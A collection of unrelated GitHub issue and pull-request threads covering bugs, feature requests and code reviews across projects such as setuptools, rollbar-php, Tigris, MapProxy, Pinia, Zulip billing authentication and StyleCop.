Adding a new service

[ ] Please ensure you've reviewed following guidelines including ARM resource provider contract and REST guidelines. Estimated time (4 hours). This is required before you can request review from ARM API Review board.

[ ] If you are blocked on ARM review and want to get the PR merged with urgency, please get the ARM oncall for reviews (RP Manifest Approvers team under Azure Resource Manager service) from IcM and reach out to them.

Breaking Change Review Checklist
If there are following updates in the PR, ensure to request an approval from Breaking Change Review Board as defined in the Breaking Change Policy.

[ ] Removing API(s) in stable version
[ ] Removing properties in stable version
[ ] Removing API version(s) in stable version
[ ] Updating API in stable or public preview version with Breaking Change Validation errors
[ ] Updating API(s) in public preview over 1 year (refer to Retirement of Previews)

Action: to initiate an evaluation of the breaking change, create a new intake using the template for breaking changes. Addition details on the process and office hours are on the Breaking change Wiki.
Please follow the link to find more details on PR review process.

Also change the latest preview Swagger for Synapse so that we will not miss the change in future? https://github.com/Azure/azure-rest-api-specs/tree/master/specification/synapse/data-plane/Microsoft.Synapse/preview/2021-06-01-preview

@idear1203 Thanks for reminding. Already changed the preview swagger for synapse


[BUG] sys.stderr is None when running generated exe in bash on Windows

setuptools version
setuptools===60.9.3
Python version
Python 3.10
OS
Windows 10
Additional environment information
This is happening in Bash (using bash that comes with git for windows
Description
On Windows running a terminal with bash, when I run the exe files generated from entry_point configurations (for example pip.exe or ipython.exe), sys.stderr is None. Running the same exe from cmd or powershell works as expected.
This was first reported in IPython #13509. IPython works fine when running python -m IPython or when running ipython.exe from other shells like cmd or powershell.
I'm including a small example that prints sys.stdout and sys.stderr for comparison.
Expected behavior
sys.stderr should not be None when running from bash.
How to Reproduce

Download and unzip the file: bugexe.zip
From bash:

cd bugexe
python -m venv .venv
source .venv/Scripts/activate
python -m pip install --upgrade pip setuptools
pip install --use-feature=in-tree-build .
./.venv/Scripts/bugexe.exe

From cmd:

cd bugexe
.venv\Scripts\activate
.venv\Scripts\bugexe.exe

Output
The output running the bugexe command from bash is:
sys.stdout=<_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>
sys.stderr=None

The output from cmd:
sys.stdout=<_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>
sys.stderr=<_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'>

I'm getting the same issue. Unfortunately, it prevents me from running server.py, which outputs logs via stderr. Thank you so much for posting this.

Hi @charlieman, @grahamcarman thank you very much for bringing this issue into discussion.
Currently when you install a package with pip install . the script wrappers are generated directly by pip using the functionality provided by distlib.
Have you tried checking their issue tracker to see if anyone had a similar problem?
(For now, setuptools will only handle the wrappers for editable installs. In the future that is very likely to change and all the wrappers to be handled by pip)

@abravalheri thanks for pointing me out to pip and distlib. I was trying this again and now it's working correctly so they probably made a fix. I am closing this ticket now, thanks again!


Fix $scrubbedPayload missing definition

On class FluentSender send method $scrubbedPayload is not defined and will throw error when $uuid is defined.
Changes made to define this var before its been used.

Relates to #393

@gveraa thanks for the PR but I'm not sure what's the improvement here. Can you clarify?

Gotcha. I see it now. My bad. Merged in now. Thank you for bringing this up and creating PRs @gveraa

Any news when this is going to be released?

Released in tag v1.6.2 https://github.com/rollbar/rollbar-php/releases/tag/v1.6.2


Please make compatible with 2022.1

Thanks!

Hello, I think this is not possible because I need to build the plugin with 2022.1 SDK which I think is not available at this moment.

There's an RC for 2021.1
Make_plugin_compatible_with_2022_1.zip
.

The plugin should already be compatible with newer versions of IDEA, it's just a matter of setting the plugin version.
See for example my commit c60e17c (#5) in the PR I opened. I changed the sinceBuild property to a lower version thereby allowing older IDEs to use the plugin. But this doesn't change untilBuild which is set to the SDK version it's 'build against' (2021 in this case).
There's two ways to expand the compatibilty range.

Setting a higher version explicitly using untilBuild in the gradle build script like I did with sinceBuild or
Specify the build version directly in the plugin.xml file, omitting the 'until=' part and set updateSinceUntilBuild = false in the build script (https://github.com/JetBrains/gradle-intellij-plugin#building-properties) so it doesn't get patched. This way the plugin will be formally compatible with all versions of IDEA newer than sinceBuild. If you then upload such a plugin to the jetbrains plugin portal it'll automatically determine the real version compatibility (by running intellij-plugin-verifier with on it) so you don't have manually check each IDEA version for compatibility. This is the variant I'd advocate for.

I made a quick plugin update so now it is compatible with 2021.1 version. You will be able to update it within 2 buisness days or you can download it directly: https://plugins.jetbrains.com/plugin/16815-thread-access-info/versions/stable/173791. I will also check foreverigor PR


Fixing issue #423

It's just necessary to change the default container, not replace it. Before that, I was receiving exceptions about failures on dependency injection.

Thanks @olegon !


Explicit schema version support

Support for explicit schema specified by the user.

Adds schema version as a field of generated JSON schema
Pass schema version in every API header

Can be explicitly set like:
tigris.SchemaVersion = 5

or, preferrably by the build system:
go build -ldflags "-X 'github.com/tigrisdata/tigris/tigris.SchemaVersion=$(tigris schema version --next)'

when there is a conflict then the user just need to rebuild and redeploy, no code change required or manual schema increment.

Codecov Report
Base: 80.85% // Head: 80.90% // Increases project coverage by +0.04% :tada:

Coverage data is based on head (3eb8c3d) compared to base (bfa23f2).
Patch coverage: 94.28% of modified lines in pull request are covered.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #216      +/-   ##
==========================================
+ Coverage   80.85%   80.90%   +0.04%
==========================================
  Files          30       30
  Lines        2883     2901      +18
==========================================
+ Hits         2331     2347      +16
- Misses        437      438       +1
- Partials      115      116       +1

Impacted Files
Coverage Δ

driver/driver.go
82.81% <ø> (ø)

driver/types.go
0.00% <ø> (ø)

tigris/client.go
89.13% <ø> (ø)

tigris/database.go
57.33% <75.00%> (+1.45%)
:arrow_up:

driver/grpc.go
81.94% <100.00%> (+0.08%)
:arrow_up:

driver/http.go
71.49% <100.00%> (+0.04%)
:arrow_up:

schema/schema.go
89.01% <100.00%> (+0.33%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Add coverage support for caches

Mapproxy may be used to serve different kind of caches without any sources. This makes it possible to serve pre-existing data in different formats that are not served from a server.
It would be nice if it was possible to define a coverage for each cache, just as it is currently possible for sources, with directly defining in the cache or with the parts section in the mapproxy.yaml.

This could be a buildup for #166.

@weskamm This issue can be closed. Thank you very much!


Add no-restricted-globals to block fit and fdescribe

The Jasmine 'fdescribe' and 'fit' functions are handy for local development but should not be committed to production.
Similar to the WebVI codebase in the ASW repo, we should block them via no-restricted-globals.
A possible alternate approach would be to use eslint-jasmin-plugin but this approach is simpler.

Relatively small change I don't think is controversial, @mure if you have any feedback we can do a follow-up pr.


sig#803 - Technical Users in state PENDING_DELETION are not displayed

Current Behavior
When requesting the Endpoint GET: api/administration/serviceaccount/owncompany/serviceaccounts without any filters only 'ACTIVE' and 'PENDING' users are returned, but no user in state 'PENDING_DELETION'
Expected Behavior
Users in state 'PENDING_DELETION' are returned as well
Steps To Reproduce
Delete a dim technical user in the frontend, reload the table with all selected. The user isn't visible anymore

tested


make form usable with html

currently using a regular "input" as "component" will render an <input /> but the events are not working properly.

open issue at: https://github.com/vuejs/vue/issues/11639

I guess the temporary fix is the official fix, as per that vuejs issue : P


In the getters, reactivity is lost

Reproduction
https://jsbin.com/dapunin/edit?js,output
Steps to reproduce the bug
Execute this.computedDataResultsMap.delete(id), that is, change `store.fetchData.computedDataResultsMap
Expected behavior
The getter dataResults must be reactive
Actual behavior
The dataResults getter is not updated when store.fetchData.computedDataResultsMap is changed
In the code it is
this.computedDataResultsMap.delete(id) // in the delete method

The getter computedDataResultsMap remains reactive
Additional information
No response

There is no error in the code and reactivity works correctly. As it turns out, Vue.js devtools 6.5.0 in the pinia section cannot display reactive values of this kind


[WIP] Prototype for authentication flow for  web management UI on the push bouncer

This works as follows:

Org owner clicks "Self hosted billing" in the cogwheel menu. This takes them to /self-hosted-billing/.
The server POSTs to the push bouncer /api/v1/remotes/server/billing with some basic data about the user etc., authenticating with its push bouncer credentials.
The bouncer returns a json success payload with billing_access_url. This is an url to <bouncer root domain>/remotes/billing/<signed token> - where <signed token> contains the info about the user and the remote server and allows accessing the billing page for the remote server. It's considered valid for SIGNED_ACCESS_TOKEN_VALIDITY_IN_SECONDS=24hours by the bouncer and can be given to others to access the page, aside of the original user.
The remote server tells the user's browser to redirect to this url.
At the url, some metadata about the server and user is currently displayed, as a prototype.

No automated tests, since this design is probably gonna change as we proceed. This can be tested manually in dev env by:

Set PUSH_NOTIFICATION_BOUNCER_URL = "<http://localhost:9991>".
Run manage.py register_server to register. Now you're good to go.

Can also be made more realistic by deploying the code to a DO droplet and setting it as your push bouncer in step 1. https://mateuszmandera.zulipdev.org/ currently runs this code and therefore can be used as the bouncer for some quick testing.
Here's a recording of the flow:
Screencast from 2023-11-02 16-47-43.webm

@timabbott Pushed a revised version with above feedback addressed, the RemoteRealm logic handling and the couple other discussed points (is_billing_user and sending more user info). Recording of how this looks now (well, all that's changed is that it's called "Billing" now in the menu and we show an HTML page at the end):
Uploading Screencast from 2023-11-15 23-00-50.webm…
Note: this is currently stacked on top of #27677 right now, for the realm info uploading function - but i can extract the function into a separate commit  if we wanna hold off on the register_server thing for now.
Here's a more details changelog compared to what this was before, in case that's helpful:

Addressed PR review feedback
Renamed “Self hosted billing” in the menu to just “Billing” as discussed in the thread
Added both RemoteRealm and no RemoteRealm handling (for pre-8.0 servers
Added more info to be sent to the auth API by the remote server (about realm and user)
The user info is now displayed in an html template, to make this prototype a bit closer to the target. We’ll have a proper HTML page for billing here in the future.
Moved the self-hosted-billing/ remote server-side endpoint out of corporate/urls.py since normal servers don’t run corporate/ i think, so that was wrong. Now this endpoint is registered in zproject/urls.py and the function definition lives in zerver/views/push_notifications.py
Added handling of the “no RemoteRealm matching the realm.uuid provided” error case, on both the bouncer (return proper error response) and the remote server (recognize it and upload its realm info to the remotes/server/analytic endpoint to create the registration and then re-try the auth request)
Support changing is_billing_admin via manage.py change_user_role
is_billing_admin permission on a remote server now allows the user to go through the remote billing authentication flow

So far this I tested this  manually. If this looks close enough to how we want it, I could get started on writing tests.

Note: this is currently stacked on top of #27677 right now, for the realm info uploading function - but i can extract the function into a separate commit if we wanna hold off on the register_server thing for now.

Yeah extracting that sounds good -- I'm not convinced we want the exact register_server UI there but I think we're pretty likely to use this function in at least one place.

The prep commits look great; I've extracted them to https://github.com/zulip/zulip/pull/27777 so they can merge once CI passes.

Pushed a commit adding an iteration on this to make a skeleton for the scheme of:

Step one, the current remote_server_billing_entry, would remain an endpoint authenticated by the remote server's credentials that returns a signed URL that /self-hosted-billing on your self-hosted server can serve a redirect to, as it currently works.
The end result of that redirect -  a page which just checks the signed object and creates a session cookie logging the customer in  and then redirects to the next step (which may vary depending on the realm's state; one without anything setup goes to /plans, and one with a plan goes to /billing).
The actual /billing URL or whatever for that realm has access authenticated using that session cookie

The first 3 commits lgtm; still reading the rest.

Looks like this needs some nocoverage comments too.

I opened https://github.com/zulip/zulip/pull/27861 to merge the 4 prep commits, since those all looked solid and that should shrink this a bit more.

CI passed, so making a final push rebased on top of the now merged https://github.com/zulip/zulip/pull/27861 and with the [wip] on the main commit removed.
Aside of the things noted in the discussion above, this also now has some test_home.py changes for the new logic in gear_menu: Add proper logic for when to display remote billing.

Squashed and marked to merge once CI passes. I'll open issues for a few natural follow-ups.


SA1516 without a line number

I can't see the error anywhere in my files, and I can't double click on the error in the error list in Visual Studio to get to it either.
It comes from a "CSC" file apparently.

Hi! Based on the AD0001 about SA1201 throwing an exception, it looks like the StyleCop.Analyzers version you are using is too old for the c# language version you are using in your projects. There was a fix made in 2020 to protect from exceptions in SA1201, so that is why I assume that you are using an older version. I don't know if this is related to the thing you actually reported, but maybe we can focus on the AD0001 first, since that seems like a simpler problem? Can you upgrade to beta 435 and try again?

Thanks for replying! I can't find the beta release in the Visual Studio nuget package management window. These are the versions I can see:

Is there another way to install the beta version?

There is a checkbox called "Include prerelease". See for example the screenshot from this question:
https://stackoverflow.com/questions/54984996/nuget-activate-include-prerelease-via-config-file

After upgrading to version 1.2.0-beta.435 the warning went away. Thanks!

Duplicate of #3242